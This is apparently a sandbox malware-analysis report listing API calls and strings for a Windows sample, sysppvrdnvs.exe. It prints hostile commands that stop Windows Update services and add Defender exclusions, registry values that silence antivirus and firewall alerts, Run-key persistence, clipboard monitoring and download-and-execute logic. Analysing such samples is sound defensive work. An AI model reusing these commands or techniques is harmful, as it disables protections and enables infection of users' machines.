Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: f159efbcf8a01faa4036468162d002d529369f8e2320b7a0d5a4ce48e9bb38ac
Instruction ID: af49af799945b34e8f77a8241ecd355db6f1f506d792f0fdd03f8566860bb8e6
Opcode Fuzzy Hash: f159efbcf8a01faa4036468162d002d529369f8e2320b7a0d5a4ce48e9bb38ac
Instruction Fuzzy Hash: DB212CB4D102099BCB04DFE8D946AEEBBB4EF48300F104169E514F7390E7B45A44DBAA

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DFDD,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DFDD,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: 2e22e1ace3e933a50ac164773468cd7a69cd4384e70ac368dc0859233ce66587
Instruction ID: 36f5780ae761d5720ce2b15666c8ad773c7a5b56cb4710f169ddd2cda5c78557
Opcode Fuzzy Hash: 2e22e1ace3e933a50ac164773468cd7a69cd4384e70ac368dc0859233ce66587
Instruction Fuzzy Hash: DE116674A417106BE3209F749C0AF877AE0AF04B54F50892DF659E72E1E3B49544879A

Function 0040C830 Relevance: 4.5, APIs: 3, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(004083EF,00000000,00000000,00000001,F0000040,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C843
CryptGenRandom.ADVAPI32(004083EF,?,00000000,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C859
CryptReleaseContext.ADVAPI32(004083EF,00000000,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C865

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction ID: f90ee11572ba5f49e3e1a660dc1e1657e7f5db47d76125bfba77a944767198f2
Opcode Fuzzy Hash: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction Fuzzy Hash: 69E012B5650208FBDB14DFD1EC49FDA776CAB48B01F108554F709E7180DAB5EA4097A8

Function 00407940 Relevance: 287.7, APIs: 103, Strings: 61, Instructions: 749
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000007D0), ref: 0040794E
CreateMutexA.KERNEL32(00000000,00000000,mmn7nnm8na), ref: 0040795D
GetLastError.KERNEL32 ref: 00407969
ExitProcess.KERNEL32 ref: 00407978
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\sysppvrdnvs.exe,00000105), ref: 004079B2
PathFindFileNameW.SHLWAPI(C:\Windows\sysppvrdnvs.exe), ref: 004079BD
wsprintfW.USER32 ref: 004079DA
DeleteFileW.KERNEL32(?), ref: 004079EA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00407A01
wcscmp.NTDLL ref: 00407A13
ExitProcess.KERNEL32 ref: 00407A32

Strings

UpdatesDisableNotify, xrefs: 004082E8
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407B9B
cmd.exe, xrefs: 00407D45
Start, xrefs: 00407EB7
SOFTWARE\Microsoft\Security Center, xrefs: 004080E7
AntiVirusDisableNotify, xrefs: 004082AA
FirewallOverride, xrefs: 00408117
NoAutoUpdate, xrefs: 00407FC2
PreventDownload, xrefs: 004080BA
DisableWindowsUpdate, xrefs: 0040805D
%windir%, xrefs: 00407A44
DisableWindowsUpdate, xrefs: 00407F69
SYSTEM\CurrentControlSet\Services\UsoSvc, xrefs: 00407D80
EnableWindowsUpdate, xrefs: 0040809B
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 004081FE
AntiVirusOverride, xrefs: 0040828B
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407EE4
SYSTEM\CurrentControlSet\Services\WaaSMedicSvc, xrefs: 00407DD9
open, xrefs: 00407D65
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407F96
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 00407E32
AntiVirusDisableNotify, xrefs: 00408193
FirewallOverride, xrefs: 0040822E
FirewallDisableNotify, xrefs: 0040824D
mmn7nnm8na, xrefs: 00407954
Start, xrefs: 00407DAC
SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator, xrefs: 0040802D
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407CA4
AntiSpywareOverride, xrefs: 00408155
Start, xrefs: 00407F10
UpdatesOverride, xrefs: 004082C9
OverrideNotice, xrefs: 00408000
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407AA9
AlwaysAutoUpdate, xrefs: 00407FE1
FirewallDisableNotify, xrefs: 00408136
Windows Settings, xrefs: 00407AE7, 00407BD9, 00407CE2
%temp%, xrefs: 00407C3F
AutoUpdateOptions, xrefs: 0040807C
UpdatesDisableNotify, xrefs: 004081D1
cmd.exe, xrefs: 00407D60
/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -, xrefs: 00407D40
SYSTEM\CurrentControlSet\Services\DoSvc, xrefs: 00407E8B
%s\tbtcmds.dat, xrefs: 00408355
UpdatesOverride, xrefs: 004081B2
AntiSpywareOverride, xrefs: 0040826C
%s\%s, xrefs: 00407A5B
AntiVirusOverride, xrefs: 00408174
%s\%s, xrefs: 00407B4D
sysppvrdnvs.exe, xrefs: 00407A07, 00407A4F, 00407B41, 00407C4A
C:\Users\user\tbtnds.dat, xrefs: 00408340
C:\Windows\sysppvrdnvs.exe, xrefs: 004079AB, 004079B8, 004079C9, 00407A79, 00407B6B, 00407C74
Start, xrefs: 00407E5E
open, xrefs: 00407D4A
/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, xrefs: 00407D5B
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407F3D
%s:Zone.Identifier, xrefs: 004079CE
%userprofile%, xrefs: 004079FC
Start, xrefs: 00407E05
%s\%s, xrefs: 00407C56
%s\tbtnds.dat, xrefs: 0040833B
C:\Users\user\tbtcmds.dat, xrefs: 0040835A

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$/c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -$/c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait$AlwaysAutoUpdate$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$AutoUpdateOptions$C:\Users\user\tbtcmds.dat$C:\Users\user\tbtnds.dat$C:\Windows\sysppvrdnvs.exe$DisableWindowsUpdate$DisableWindowsUpdate$EnableWindowsUpdate$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$OverrideNotice$PreventDownload$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Policies\Microsoft\Windows\UpdateOrchestrator$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\DoSvc$SYSTEM\CurrentControlSet\Services\UsoSvc$SYSTEM\CurrentControlSet\Services\WaaSMedicSvc$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$Start$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$cmd.exe$cmd.exe$mmn7nnm8na$open$open$sysppvrdnvs.exe
API String ID: 4172876685-1813239017
Opcode ID: 6c3aa08d7c4c4069ddcf3c5aed638cf34e8cb556e5cf3fb678ad37c5e5b78497
Instruction ID: 367eef7d7cdc4f6bbf58631969cb55eb0d30a7b17f9c19f9a6cac2e90da0940f
Opcode Fuzzy Hash: 6c3aa08d7c4c4069ddcf3c5aed638cf34e8cb556e5cf3fb678ad37c5e5b78497
Instruction Fuzzy Hash: 245240B1A80318BBE7209BA0DC4AFD97775AB48B15F1081A5B309B61D0D7F5AAC4CF5C

Function 0040F560 Relevance: 77.2, APIs: 36, Strings: 8, Instructions: 231
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040F569
srand.MSVCRT ref: 0040F570
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040F590
strlen.NTDLL ref: 0040F59A
mbstowcs.NTDLL ref: 0040F5B1
rand.MSVCRT ref: 0040F5B9
rand.MSVCRT ref: 0040F5CD
wsprintfW.USER32 ref: 0040F5F4
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F60A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F639
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F668
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F69B
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F6CC
CloseHandle.KERNEL32(000000FF), ref: 0040F6DB
wsprintfW.USER32 ref: 0040F6F4
DeleteFileW.KERNEL32(?), ref: 0040F704
Sleep.KERNEL32(000003E8), ref: 0040F70F
Sleep.KERNEL32(000007D0), ref: 0040F730
ExitProcess.KERNEL32 ref: 0040F758
DeleteFileW.KERNEL32(?), ref: 0040F76E
CloseHandle.KERNEL32(000000FF), ref: 0040F77B
InternetCloseHandle.WININET(00000000), ref: 0040F788
InternetCloseHandle.WININET(00000000), ref: 0040F795
Sleep.KERNEL32(000003E8), ref: 0040F7A0
rand.MSVCRT ref: 0040F7B5
Sleep.KERNEL32 ref: 0040F7C6
rand.MSVCRT ref: 0040F7CC
rand.MSVCRT ref: 0040F7E0
wsprintfW.USER32 ref: 0040F807
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F824
wsprintfW.USER32 ref: 0040F844
DeleteFileW.KERNEL32(?), ref: 0040F854
Sleep.KERNEL32(000003E8), ref: 0040F85F
Sleep.KERNEL32(000007D0), ref: 0040F880
ExitProcess.KERNEL32 ref: 0040F8A7
DeleteFileW.KERNEL32(?), ref: 0040F8B6

Strings

%s\%d%d.exe, xrefs: 0040F7FB
%s:Zone.Identifier, xrefs: 0040F838
%temp%, xrefs: 0040F58B
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36, xrefs: 0040F605
%s:Zone.Identifier, xrefs: 0040F6E8
%s\%d%d.exe, xrefs: 0040F5E8
.#v, xrefs: 0040F6DB, 0040F77B
y@, xrefs: 0040F89C, 0040F74D

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$Sleep$Internetrand$CloseDeleteHandlewsprintf$ExitOpenProcess$CountCreateDownloadEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: y@$%s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36$.#v
API String ID: 1632876846-875060203
Opcode ID: f66bbaa90db6dfc7324bdba7ae9ae0bc4e4b122ccc0d7fa92996eb741fb39ab1
Instruction ID: 1975aeac9676e101a2f9df26b0893873e865047fe5e1fa68f0a59d9663d47833
Opcode Fuzzy Hash: f66bbaa90db6dfc7324bdba7ae9ae0bc4e4b122ccc0d7fa92996eb741fb39ab1
Instruction Fuzzy Hash: EB81DBB1900314ABE720DB50DC45FE93379AF88701F0485B9F609A51D1DBBD9AC8CF69

Function 0040B850 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B780: gethostname.WS2_32(?,00000100), ref: 0040B79C
Part of subcall function 0040B780: gethostbyname.WS2_32(?), ref: 0040B7AE

strcmp.NTDLL ref: 0040B880

Strings

0.0.0.0, xrefs: 0040B86E
.127, xrefs: 0040B8AF
.127., xrefs: 0040B8CD
.10., xrefs: 0040B98B
.192, xrefs: 0040B90E
.192., xrefs: 0040B92C
192., xrefs: 0040B8F0
.10, xrefs: 0040B96D
127., xrefs: 0040B891
10., xrefs: 0040B94F

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: be1adfb21df1672b179acddae554e562d68734a0439b0a0b8caddf7385871258
Instruction ID: 8d4abfb17ef92fbeb3a58b36540fc168dced5822f8e8c36773a64fbd4adfcb3b
Opcode Fuzzy Hash: be1adfb21df1672b179acddae554e562d68734a0439b0a0b8caddf7385871258
Instruction Fuzzy Hash: 826181B5A00205ABDB00AFA1FC46B9A3665EB50318F14847AE805B73C1EB7DE554CBDE

Function 004059B0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004059BC
SetClipboardViewer.USER32(?), ref: 00405A08
SetWindowLongW.USER32(?,000000EB,?), ref: 00405A1B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00405A70
OpenClipboard.USER32(00000000), ref: 00405AB7
GetClipboardData.USER32(00000000), ref: 00405AC9
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405BD0
ChangeClipboardChain.USER32(?,?), ref: 00405BDE
DefWindowProcA.USER32(?,?,?,?), ref: 00405BF4

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: 2f0b22ba391b773d4c45c64ac6dadd066d7720e91bacc99fadb97576ecf3cd51
Instruction ID: 96d86bc259bd628418629a5c2f452591d45261003c5ffeff5fe086a58ca8b5ae
Opcode Fuzzy Hash: 2f0b22ba391b773d4c45c64ac6dadd066d7720e91bacc99fadb97576ecf3cd51
Instruction Fuzzy Hash: EB711C75A00608EFDF14DFA4D988BEF77B4EB48300F14856AE506B7290D779AA40CF69

Function 00406F70 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00406F7E
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\sysppvrdnvs.exe,00000104), ref: 00406F90

Part of subcall function 0040F1F0: CreateFileW.KERNEL32(00406FA0,80000000,00000001,00000000,00000003,00000000,00000000,00406FA0), ref: 0040F210
Part of subcall function 0040F1F0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F225
Part of subcall function 0040F1F0: CloseHandle.KERNEL32(000000FF), ref: 0040F232

ExitThread.KERNEL32 ref: 004070FA

Part of subcall function 004063E0: GetLogicalDrives.KERNEL32 ref: 004063E6
Part of subcall function 004063E0: RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
Part of subcall function 004063E0: RegQueryValueExW.KERNEL32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
Part of subcall function 004063E0: RegCloseKey.ADVAPI32(?), ref: 0040647E

Sleep.KERNEL32(000007D0), ref: 004070ED

Part of subcall function 00406300: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406353

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 0040702F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00407044
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040705F
wsprintfW.USER32 ref: 00407072
wsprintfW.USER32 ref: 00407092
wsprintfW.USER32 ref: 004070B5

Strings

%s%s, xrefs: 004070A9
(%dGB), xrefs: 00407066
C:\Windows\sysppvrdnvs.exe, xrefs: 00406F89, 00406F96
Unnamed volume, xrefs: 00407086

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$C:\Windows\sysppvrdnvs.exe$Unnamed volume
API String ID: 1650488544-747518629
Opcode ID: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction ID: b797a4b926279b24144ff746e96c568fb56fd9e530b7e1178aba5a8e6206bca3
Opcode Fuzzy Hash: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction Fuzzy Hash: 244174B1D00214BBEB64DB94DC45FEE7779BB48700F1085A6F20AB61D0DA785B84CF6A

Function 004058C0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 004058D8
GetModuleHandleW.KERNEL32(00000000), ref: 004058F0
Sleep.KERNEL32(00000001), ref: 00405904
GetTickCount.KERNEL32 ref: 0040590A
GetTickCount.KERNEL32 ref: 00405913
wsprintfW.USER32 ref: 00405926
RegisterClassExW.USER32(00000030), ref: 00405933
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 0040595C
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00405977
TranslateMessage.USER32(?), ref: 00405985
DispatchMessageA.USER32(?), ref: 0040598F
ExitThread.KERNEL32 ref: 004059A1

Strings

0, xrefs: 004058E0
%x%X, xrefs: 0040591A

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction ID: bd9536bbadbf21864e97b89de5b907373c0f6f38ddabaab6f1c3dd09ba998754
Opcode Fuzzy Hash: 03a63f419c221d19dc1f4a22be05731f57d92fe9a42c49428073284f968a398b
Instruction Fuzzy Hash: C7211AB1940308FBEB109BA0DD49FEE7B78EB04711F14852AF601BA1D0DBB99544CF69

Function 0040F240 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040F272
CreateFileMappingW.KERNELBASE(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040F293
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040F2B2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F2CB
memcmp.NTDLL ref: 0040F35D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040F380
CloseHandle.KERNEL32(00000000), ref: 0040F38A
CloseHandle.KERNEL32(000000FF), ref: 0040F394
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F3B3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040F3D8
CloseHandle.KERNEL32(000000FF), ref: 0040F3E2

Strings

.#v, xrefs: 0040F38A, 0040F394, 0040F3E2

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID: .#v
API String ID: 3902698870-507759092
Opcode ID: 7d502bbc833238380c95321b91a828a1a785b751e7efdeca87fc0906aa905e9c
Instruction ID: 91565a6fedc79cda49cfd97bae5198494bb6489b7e374c7f74ac69d8e3e388a5
Opcode Fuzzy Hash: 7d502bbc833238380c95321b91a828a1a785b751e7efdeca87fc0906aa905e9c
Instruction Fuzzy Hash: 75514BB4E40308FBDB24DBA4CC49F9EB774AB48304F108569F611B72C0D7B9AA44CB98

Function 0040BC70 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(004165F8,?,?,?,?,?,?,00408403), ref: 0040BC7B
CreateFileW.KERNEL32(C:\Users\user\tbtnds.dat,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040BCCD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040BCEE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040BD0D
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040BD22
UnmapViewOfFile.KERNEL32(00000000), ref: 0040BD88
CloseHandle.KERNEL32(00000000), ref: 0040BD92
CloseHandle.KERNEL32(000000FF), ref: 0040BD9C

Part of subcall function 0040DF20: NtQuerySystemTime.NTDLL(0040BD65), ref: 0040DF2A
Part of subcall function 0040DF20: RtlTimeToSecondsSince1980.NTDLL(0040BD65,?), ref: 0040DF38

Strings

C:\Users\user\tbtnds.dat, xrefs: 0040BCC8
.#v, xrefs: 0040BD92, 0040BD9C

Memory Dump Source

Source File: 00000004.00000002.3513006957.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3512924447.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.3513203938.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: C:\Users\user\tbtnds.dat$.#v
API String ID: 439099756-2305399225
Opcode ID: af5c3b123f5e80eaa084090c55f6f129bab75b0b75ad2690ce5f7c53b1f27bcc
Instruction ID: 789285c27e92e60cc42243599a26330008c438e37824d2da8ff51af530b364ad
Opcode Fuzzy Hash: af5c3b123f5e80eaa084090c55f6f129bab75b0b75ad2690ce5f7c53b1f27bcc
Instruction Fuzzy Hash: 0F413A74E40309EBDB10EBA4DC4ABAEB774EB44705F20856AF6117A2C1C7B96941CB9C

Function 00405C00 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.KERNEL32(00415B88,?,?,?,?,?,004083CD), ref: 00405C0B
CreateFileW.KERNEL32(C:\Users\user\tbtcmds.dat,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,004083CD), ref: 00405C25
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405C46
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405C65
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405C7E
UnmapViewOfFile.KERNEL32(00000000), ref: 00405D0B
CloseHandle.KERNEL32(00000000), ref: 00405D15
